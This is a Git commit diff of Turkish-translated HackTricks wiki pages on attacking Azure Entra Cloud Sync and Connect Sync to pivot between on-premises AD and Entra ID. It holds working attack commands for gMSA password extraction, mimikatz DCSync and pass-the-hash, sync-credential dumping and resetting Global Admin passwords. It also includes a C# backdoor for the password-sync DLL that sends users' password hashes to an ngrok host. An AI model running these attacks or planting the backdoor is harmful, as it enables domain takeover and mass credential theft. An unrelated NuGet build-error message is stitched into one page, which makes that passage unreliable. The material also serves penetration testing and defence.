mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-09 14:20:48 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -0,0 +1,151 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Cloud Sync**, Azure'ın **kullanıcıları AD'den Entra ID'ye senkronize etme** için yeni bir yoludur.
|
||||
|
||||
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync, kullanıcıların, grupların ve kişilerin Microsoft Entra ID'ye senkronizasyonu için hibrit kimlik hedeflerinizi karşılamak ve başarmak üzere tasarlanmış yeni bir Microsoft teklifidir. Bunu, Microsoft Entra Connect uygulaması yerine Microsoft Entra bulut sağlama aracını kullanarak gerçekleştirir. Ancak, Microsoft Entra Connect Sync ile birlikte de kullanılabilir.
|
||||
|
||||
### Oluşturulan Prensipler
|
||||
|
||||
Bunun çalışabilmesi için hem Entra ID'de hem de On-Premise dizininde bazı prensipler oluşturulur:
|
||||
|
||||
- Entra ID'de `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) adlı kullanıcı, **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) rolü ile oluşturulur.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu rol, birçok ayrıcalıklı izne sahipti ve [**küresel yöneticiliğe kadar ayrıcalıkları artırmak için kullanılabiliyordu**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ancak, Microsoft bu rolün tüm ayrıcalıklarını kaldırmaya ve sadece **`microsoft.directory/onPremisesSynchronization/standard/read`** adlı yeni bir rol atamaya karar verdi; bu rol, bir kullanıcının parolasını veya niteliklerini değiştirmek ya da bir SP'ye yeni bir kimlik bilgisi eklemek gibi herhangi bir ayrıcalıklı eylem gerçekleştirmeye izin vermez.
|
||||
|
||||
- Entra ID'de ayrıca **`AAD DC Administrators`** adlı grup, üye veya sahip olmadan oluşturulur. Bu grup, [`Microsoft Entra Domain Services`](./az-domain-services.md) kullanılıyorsa faydalıdır.
|
||||
|
||||
- AD'de, ya **`provAgentgMSA`** adlı Hizmet Hesabı, **`pGMSA_<id>$@domain.com`** gibi bir SamAccountName ile oluşturulur (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ya da [**bu izinlere sahip özel bir hesap gereklidir**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Genellikle varsayılan olanı oluşturulur.
|
||||
|
||||
> [!WARNING]
|
||||
> Diğer izinlerin yanı sıra, Hizmet Hesabı **`provAgentgMSA`** DCSync izinlerine sahiptir ve **bunu ele geçiren herkesin tüm dizini ele geçirmesine izin verir**. [DCSync hakkında daha fazla bilgi için bunu kontrol edin](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Varsayılan olarak, **`adminCount`** niteliği 1 olan bilinen ayrıcalıklı grupların kullanıcıları, güvenlik nedenleriyle Entra ID ile senkronize edilmez. Ancak, bu niteliğe sahip olmayan veya doğrudan yüksek ayrıcalıklar atanan diğer kullanıcılar **senkronize edilebilir**.
|
||||
|
||||
## Parola Senkronizasyonu
|
||||
|
||||
Bu bölüm, aşağıdaki bölümle çok benzer:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Parola hash senkronizasyonu** etkinleştirilebilir, böylece kullanıcılar **AD'deki parolalarıyla Entra ID'ye giriş yapabilirler**. Ayrıca, AD'de bir parola değiştirildiğinde, bu Entra ID'de güncellenecektir.
|
||||
- **Parola yazma geri** de etkinleştirilebilir, bu da kullanıcıların Entra ID'de parolalarını değiştirmelerine ve bununla birlikte on-premise alanındaki parolalarının otomatik olarak senkronize edilmesine olanak tanır. Ancak, [mevcut belgelere](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) göre, bunun için Connect Agent kullanmak gereklidir, bu nedenle daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) göz atın.
|
||||
- **Grupların yazma geri**: Bu özellik, Entra ID'deki grup üyeliklerinin on-premises AD'ye geri senkronize edilmesine olanak tanır. Bu, bir kullanıcı Entra ID'deki bir gruba eklendiğinde, aynı zamanda AD'deki karşılık gelen gruba da ekleneceği anlamına gelir.
|
||||
|
||||
## Pivotlama
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- AD kullanıcıları AD'den Entra ID'ye senkronize ediliyorsa, AD'den Entra ID'ye pivotlama basittir; sadece **bir kullanıcının parolasını ele geçirin veya bir kullanıcının parolasını değiştirin ya da yeni bir kullanıcı oluşturun ve Entra ID dizinine senkronize edilene kadar bekleyin (genellikle sadece birkaç dakika)**.
|
||||
|
||||
Örneğin, şunları yapabilirsiniz:
|
||||
- **`provAgentgMSA`** hesabını ele geçirin, bir DCSync saldırısı gerçekleştirin, bir kullanıcının parolasını kırın ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
|
||||
- AD'de yeni bir kullanıcı oluşturun, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
|
||||
- AD'deki bir kullanıcının parolasını değiştirin, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
|
||||
|
||||
**`provAgentgMSA`** kimlik bilgilerini ele geçirmek için:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
# Find who can read the password of the gMSA (usually only the DC computer account)
|
||||
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
|
||||
|
||||
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
|
||||
lsadump::dcsync /domain:domain.local /user:<dc-name>$
|
||||
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
|
||||
|
||||
# Or you can change who can read the password of the gMSA account to all domain admins for example:
|
||||
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
|
||||
|
||||
# Read the password of the gMSA
|
||||
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
|
||||
|
||||
#Install-Module -Name DSInternals
|
||||
#Import-Module DSInternals
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Artık gMSA'nın hash'ini kullanarak `provAgentgMSA` hesabı ile Entra ID'ye karşı Pass-the-Hash saldırısı gerçekleştirebilir ve AD'ye karşı DCSync saldırıları yapabilmek için kalıcılığı sürdürebilirsiniz.
|
||||
|
||||
Active Directory'yi nasıl tehlikeye atacağınız hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Azure veya EntraID rollerini senkronize edilmiş kullanıcılara, örneğin Cloud Sync yapılandırmalarında, özelliklerine dayalı olarak verme yolu yoktur. Ancak, senkronize edilmiş kullanıcılara otomatik olarak izin vermek için bazı **AD'den Entra ID gruplarına** izinler verilebilir, böylece bu gruplardaki senkronize edilmiş kullanıcılar da bu izinleri alır veya **dinamik gruplar kullanılabilir**, bu nedenle her zaman dinamik kuralları ve bunları kötüye kullanmanın potansiyel yollarını kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Kalıcılık ile ilgili olarak [bu blog yazısı](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html), **`C:\Program Files\Microsoft Azure AD Sync\Bin`** konumunda bulunan **`Microsoft.Online.Passwordsynchronisation.dll`** dosyasını arka kapılamak için [**dnSpy**](https://github.com/dnSpy/dnSpy) kullanılabileceğini önermektedir. Bu dosya, Cloud Sync ajanı tarafından şifre senkronizasyonu gerçekleştirmek için kullanılır ve kullanıcıların şifre hash'lerini uzaktan bir sunucuya sızdırmasını sağlar. Hash'ler **`PasswordHashGenerator`** sınıfı içinde üretilir ve blog yazısı, sınıfın şu şekilde görünmesi için bazı kodlar eklemeyi önermektedir (şifre hash'lerini sızdırmak için `use System.Net` ve `WebClient` kullanımına dikkat edin):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Paket geri yükleme, AzTokenFinder projesi için başarısız oldu: 'System.Security.Cryptography.X509Certificates' paketinin '4.3.2' sürümü bulunamadı.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: 'System.Security.Cryptography.X509Certificates.4.3.2' paketi 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' kaynağında bulunamadı.
|
||||
Lütfen ayrıntılı uyarılar ve hatalar için Hata Listesi penceresine bakın.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Eğer **Şifre Yazma** etkinleştirildiyse, Entra ID'deki bazı kullanıcıların şifrelerini değiştirebilir ve AD ağına erişiminiz varsa, bunları kullanarak bağlanabilirsiniz. Daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) bakın, çünkü şifre yazma bu ajan kullanılarak yapılandırılmıştır.
|
||||
|
||||
- Bu noktada Cloud Sync ayrıca **"Microsoft Entra ID'den AD'ye"** izin veriyor, ancak çok fazla zaman geçtikten sonra EntraID kullanıcılarını AD'ye senkronize edemediğini ve yalnızca şifre hash'i ile senkronize edilen ve senkronize ettiğimiz alanın aynı alan ormanına ait olan bir alandan gelen EntraID kullanıcılarını senkronize edebildiğini buldum, [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) adresinde okuyabilirsiniz:
|
||||
|
||||
> - Bu gruplar yalnızca yerel senkronize edilmiş kullanıcıları ve/veya ek bulut oluşturulmuş güvenlik gruplarını içerebilir.
|
||||
> - Senkronize edilen ve bu bulut oluşturulmuş güvenlik grubunun üyeleri olan yerel kullanıcı hesapları, aynı alan veya alanlar arası olabilir, ancak hepsi aynı ormandan olmalıdır.
|
||||
|
||||
Bu nedenle, bu hizmetin saldırı yüzeyi (ve faydası) büyük ölçüde azalır, çünkü bir saldırganın diğer alandaki bir kullanıcıyı tehlikeye atmak için senkronize edilen kullanıcıların geldiği başlangıç AD'sini tehlikeye atması gerekir (ve her ikisi de görünüşe göre aynı ormanda olmalıdır).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,202 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect senkronizasyon hizmetleri (Microsoft Entra Connect Sync), Microsoft Entra Connect'in ana bileşenidir. Bu, yerel ortamınız ile Microsoft Entra ID arasında kimlik verilerini senkronize etmekle ilgili tüm işlemleri yönetir.
|
||||
|
||||
Bunu kullanmak için, AD ortamınızdaki bir sunucuya **`Microsoft Entra Connect Sync`** ajanını kurmanız gerekmektedir. Bu ajan, AD tarafındaki senkronizasyonu yönetecektir.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync**, temelde **AD'den Entra ID'ye kullanıcıları senkronize etmenin "eski" Azure yoludur.** Yeni önerilen yol, **Entra Cloud Sync** kullanmaktır:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Oluşturulan İlkeler
|
||||
|
||||
- **`MSOL_<installationID>`** hesabı, yerel AD'de otomatik olarak oluşturulur. Bu hesaba **Dizin Senkronizasyon Hesapları** rolü verilir (bkz. [belgeler](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), bu da yerel AD'de **replication (DCSync) izinlerine** sahip olduğu anlamına gelir.
|
||||
- Bu, bu hesabı ele geçiren herkesin yerel alanı ele geçirebileceği anlamına gelir.
|
||||
- Yerel AD'de özel bir varsayılan ayrıcalığı olmayan bir yönetilen hizmet hesabı **`ADSyncMSA<id>`** oluşturulur.
|
||||
- Entra ID'de, bir sertifika ile birlikte **`ConnectSyncProvisioning_ConnectSync_<id>`** Servis Prensibi oluşturulur.
|
||||
|
||||
## Parolaları Senkronize Et
|
||||
|
||||
### Parola Hash Senkronizasyonu
|
||||
|
||||
Bu bileşen, kullanıcıların Entra ID'ye bağlanmak için AD parolalarını kullanabilmesi için **AD'den Entra ID'ye parolaları senkronize etmek** için de kullanılabilir. Bunun için, AD sunucusunda kurulu Microsoft Entra Connect Sync ajanında parola hash senkronizasyonuna izin vermek gerekmektedir.
|
||||
|
||||
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Parola hash senkronizasyonu**, hibrit kimlik elde etmek için kullanılan oturum açma yöntemlerinden biridir. **Azure AD Connect**, bir kullanıcının parolasının hash'inin, yerel bir Active Directory örneğinden bulut tabanlı bir Azure AD örneğine senkronize edilmesini sağlar.
|
||||
|
||||
Temelde, tüm **kullanıcılar** ve **parola hash'lerinin hash'i** yerelden Azure AD'ye senkronize edilir. Ancak, **düz metin parolalar** veya **orijinal** **hash'ler** Azure AD'ye gönderilmez.
|
||||
|
||||
**Hash senkronizasyonu** her **2 dakikada** bir gerçekleşir. Ancak, varsayılan olarak, **parola süresi dolma** ve **hesap** **süresi dolma** Azure AD'de **senkronize edilmez**. Yani, **yerel parolasının süresi dolmuş** (değiştirilmemiş) bir kullanıcı, eski parolayı kullanarak **Azure kaynaklarına erişmeye** devam edebilir.
|
||||
|
||||
Yerel bir kullanıcı bir Azure kaynağına erişmek istediğinde, **kimlik doğrulama Azure AD'de gerçekleşir**.
|
||||
|
||||
> [!NOTE]
|
||||
> Varsayılan olarak, **`adminCount`** niteliği 1 olan bilinen ayrıcalıklı grupların kullanıcıları, güvenlik nedenleriyle Entra ID ile **senkronize edilmez**. Ancak, bu niteliğe sahip olmayan veya doğrudan yüksek ayrıcalıklar atanmış diğer kullanıcılar **senkronize edilebilir**.
|
||||
|
||||
### Parola Yazma
|
||||
|
||||
Bu yapılandırma, bir kullanıcı Entra ID'de parolasını değiştirdiğinde **parolaları Entra ID'den AD'ye senkronize etmeye** olanak tanır. Parola yazma işleminin çalışabilmesi için, AD'de otomatik olarak oluşturulan `MSOL_<id>` kullanıcısına [belgelerde belirtilen daha fazla ayrıcalık verilmesi](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) gerekmektedir, böylece **AD'deki herhangi bir kullanıcının parolasını değiştirebilir**.
|
||||
|
||||
Bu, ele geçirilmiş bir Entra ID'den AD'yi ele geçirmek için özellikle ilginçtir çünkü "neredeyse" herhangi bir kullanıcının parolasını değiştirebilirsiniz.
|
||||
|
||||
Alan yöneticileri ve bazı ayrıcalıklı gruplara ait diğer kullanıcılar, grup **`adminCount` niteliği 1** olduğunda çoğaltılmaz. Ancak, bu gruplardan herhangi birine ait olmadan AD içinde yüksek ayrıcalıklar atanmış diğer kullanıcıların parolaları değiştirilebilir. Örneğin:
|
||||
|
||||
- Doğrudan yüksek ayrıcalıklar atanmış kullanıcılar.
|
||||
- **`DNSAdmins`** grubundaki kullanıcılar.
|
||||
- GPO'lar oluşturup bunları OUs'ye atayan **`Group Policy Creator Owners`** grubundaki kullanıcılar, oluşturdukları GPO'ları değiştirebilir.
|
||||
- Active Directory'ye sertifika yayınlayabilen **`Cert Publishers Group`** grubundaki kullanıcılar.
|
||||
- **`adminCount` niteliği 1** olmayan yüksek ayrıcalıklara sahip herhangi bir grubun kullanıcıları.
|
||||
|
||||
## AD'den Entra ID'ye Geçiş
|
||||
|
||||
### Connect Sync'i Listeleme
|
||||
|
||||
Kullanıcıları kontrol et:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
**Connect Sync yapılandırmasını** kontrol edin (varsa):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Parolaları Bulma
|
||||
|
||||
**`MSOL_*`** kullanıcısının (ve oluşturulmuşsa **Sync\_\*** kullanıcısının) parolaları **SQL sunucusunda** **Entra ID Connect'in kurulu olduğu** sunucuda **saklanmaktadır.** Yöneticiler, bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkarabilir.\
|
||||
Veritabanası `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` konumundadır.
|
||||
|
||||
Şifrelenmiş olan bir tablo üzerinden yapılandırmayı çıkarmak mümkündür:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Şifrelenmiş yapılandırma**, **DPAPI** ile şifrelenmiştir ve on-prem AD'deki **`MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içermektedir. Bu nedenle, bunları ele geçirerek AD ve AzureAD'ye yükseltilmiş erişim sağlamak mümkündür.
|
||||
|
||||
Bu kimlik bilgilerin nasıl saklandığı ve çözüldüğüne dair [tam bir genel bakışa bu konuşmada ulaşabilirsiniz](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### MSOL\_\* Kullanımının Kötüye Kullanılması
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
Get-AADIntSyncCredentials
|
||||
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
|
||||
|
||||
# Using https://github.com/dirkjanm/adconnectdump
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
|
||||
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Önceki saldırılar, Entra ID kullanıcısı olan `Sync_*`'ye bağlanmak için diğer şifreyi ele geçirdi ve ardından Entra ID'yi tehlikeye attı. Ancak, bu kullanıcı artık mevcut değil.
|
||||
|
||||
### ConnectSyncProvisioning_ConnectSync\_<id>'yi Kötüye Kullanma
|
||||
|
||||
Bu uygulama, herhangi bir Entra ID veya Azure yönetim rolü atanmış olmadan oluşturulmuştur. Ancak, aşağıdaki API izinlerine sahiptir:
|
||||
|
||||
- Microsoft Entra AD Senkronizasyon Servisi
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Microsoft şifre sıfırlama servisi
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Bu uygulamanın SP'sinin, belgelenmemiş bir API kullanarak bazı ayrıcalıklı eylemleri gerçekleştirmek için hala kullanılabileceği belirtiliyor, ancak bildiğim kadarıyla henüz bir PoC bulunmamaktadır.\
|
||||
Her durumda, bunun mümkün olabileceğini düşünerek, bu hizmet ilkesine giriş yapmak için sertifikayı nasıl bulabileceğimizi ve bunu kötüye kullanmayı araştırmak ilginç olacaktır.
|
||||
|
||||
Bu [blog yazısı](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), `Sync_*` kullanıcısından bu hizmet ilkesine geçişten kısa bir süre önce yayınlandı ve sertifikanın sunucu içinde saklandığını, bunun bulunabileceğini, PoP (Sahiplik Kanıtı) oluşturulabileceğini ve token grafiği ile birlikte, hizmet ilkesine yeni bir sertifika ekleyebileceğini açıkladı (çünkü bir **hizmet ilkesi** her zaman kendisine yeni sertifikalar atayabilir) ve ardından bunu SP olarak sürekliliği sağlamak için kullanabilir.
|
||||
|
||||
Bu eylemleri gerçekleştirmek için aşağıdaki araçlar yayınlanmıştır: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
Deneyimlerime göre, sertifika, önceki aracın aradığı yerde artık saklanmamaktadır ve bu nedenle, araç artık çalışmamaktadır. Bu nedenle, daha fazla araştırma gerekebilir.
|
||||
|
||||
### Sync\_\*'yı Kötüye Kullanma [KULLANIMDIŞI]
|
||||
|
||||
> [!WARNING]
|
||||
> Daha önce, Entra ID'de `Sync_*` adında çok hassas izinlere sahip bir kullanıcı oluşturulmuştu; bu, herhangi bir kullanıcının (Global Yöneticiler dahil) şifresini değiştirmek veya bir hizmet ilkesine yeni bir kimlik bilgisi eklemek gibi ayrıcalıklı eylemleri gerçekleştirmeye olanak tanıyordu. Ancak, Ocak 2025'ten itibaren bu kullanıcı varsayılan olarak artık oluşturulmamaktadır, çünkü artık **`ConnectSyncProvisioning_ConnectSync_<id>`** Uygulaması/SP'si kullanılmaktadır. Ancak, bazı ortamlarda hala mevcut olabilir, bu nedenle kontrol etmeye değer.
|
||||
|
||||
**`Sync_*`** hesabını ele geçirerek, herhangi bir kullanıcının (Global Yöneticiler dahil) **şifresini sıfırlamak** mümkündür.
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Aynı zamanda **sadece bulut** kullanıcılarının şifrelerini değiştirmek de mümkündür (bu beklenmedik olsa bile).
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Bu kullanıcının şifresini dökme işlemi de mümkündür.
|
||||
|
||||
> [!CAUTION]
|
||||
> Diğer bir seçenek, **bir hizmet ilkesi için ayrıcalıklı izinler atamak** olacaktır; bu, **Sync** kullanıcısının **izin** sahibi olduğu bir işlemdir ve ardından **o hizmet ilkesine erişmek** bir privesc yöntemi olarak kullanılabilir.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Seamless SSO'yu PHS ile kullanmak mümkündür; bu, diğer kötüye kullanımlara karşı savunmasızdır. Bunu kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting Entra ID --> AD
|
||||
|
||||
- Şifre yazma geri gönderimi etkinse, Entra ID ile senkronize olan **AD'deki herhangi bir kullanıcının şifresini değiştirebilirsiniz**.
|
||||
- Gruplar yazma geri gönderimi etkinse, Entra ID'deki **ayrıcalıklı gruplara kullanıcı ekleyebilirsiniz**; bu gruplar AD ile senkronizedir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -8,19 +8,69 @@
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
Temelde Azure AD Seamless SSO, kullanıcıları **yerel bir alan bağlı PC'de** olduklarında **oturum açtırır**.
|
||||
Temelde Azure AD Seamless SSO, **kullanıcıları** **yerel bir alan bağlı PC'de** **oturum açtırır**.
|
||||
|
||||
Bu, hem [**PHS (Şifre Hash Senkronizasyonu)**](phs-password-hash-sync.md) hem de [**PTA (Geçiş Kimlik Doğrulama)**](pta-pass-through-authentication.md) tarafından desteklenmektedir.
|
||||
Hem [**PHS (Şifre Hash Senkronizasyonu)**](phs-password-hash-sync.md) hem de [**PTA (Geçiş Kimlik Doğrulama)**](pta-pass-through-authentication.md) tarafından desteklenmektedir.
|
||||
|
||||
